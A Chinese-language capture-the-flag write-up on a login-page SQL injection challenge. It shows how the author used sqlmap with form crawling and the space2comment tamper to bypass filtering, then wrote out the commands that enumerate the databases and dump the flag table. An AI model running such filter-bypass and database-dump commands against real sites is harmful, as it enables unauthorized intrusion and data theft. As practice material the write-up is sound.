登陆页面Sql注入(绕过)
如图,看到这道题的时候发觉之前做过一个类似的手工注入:
不过这次手注会失败,后台过滤了sql语句里的一些东西,但我们并不知道过滤了什么
到这里我就基本上没辙了,不过查询了资料以后发现sqlmap可以对登录页面进行注入(一直以为sqlmap只能对url里的对象进行注入)
参考资料:https://x.hacking8.com/post-307.html
“sqlmap的爬虫会爬取自定义的深度以及寻找form表单并自动填充缺失的数据加入扫描”,换句话说sqlmap可以对登陆页面进行注入,并且它会自动寻找注入框来填充数据测试sql注入
格式:sqlmap -u "url" --form
使用sqlmap进行注入,想要绕过过滤还得加载tamper
tamper参考资料:https://blog.csdn.net/qq_34444097/article/details/82717357
之前提到我们不知道它过滤了什么,所以这里需要选择tamper一个个尝试
最后发现使用 space2comment 可以绕过过滤(将空格替换为/**/
),那么这里就是用内联注释来绕过了
C:\Program Files\Python38\sqlmap>python sqlmap.py -u "http://124.156.121.112:28018/" --forms --dbs --batch --tamper=space2comment
sqlmap用基于时间的盲注把库名都测出来了
flag可能在其中一个库里面(首先排除_schema后缀的表)
FLAG_COLUMN这个字段里面是空的,flag不在这里
那应该就在web2里面了(之前的sql手注题就叫web2,这道题明明叫web6)
C:\Program Files\Python38\sqlmap>python sqlmap.py -u "http://124.156.121.112:28018/" --forms -D web2 --tables --batch --tamper=space2comment
进flag表:
C:\Program Files\Python38\sqlmap>python sqlmap.py -u "http://124.156.121.112:28018/" --forms -D web2 -T flag --columns --batch --tamper=space2comment
有个叫flag的字段,进flag字段:
C:\Program Files\Python38\sqlmap>python sqlmap.py -u "http://124.156.121.112:28018/" --forms -D web2 -T flag -C flag --dump --batch --tamper=space2comment
获得flag的值,提交以后是正确的
这次涨姿势了
[Sign]做不出ctf题的时候很痛苦,你只能眼睁睁看着其他人领先你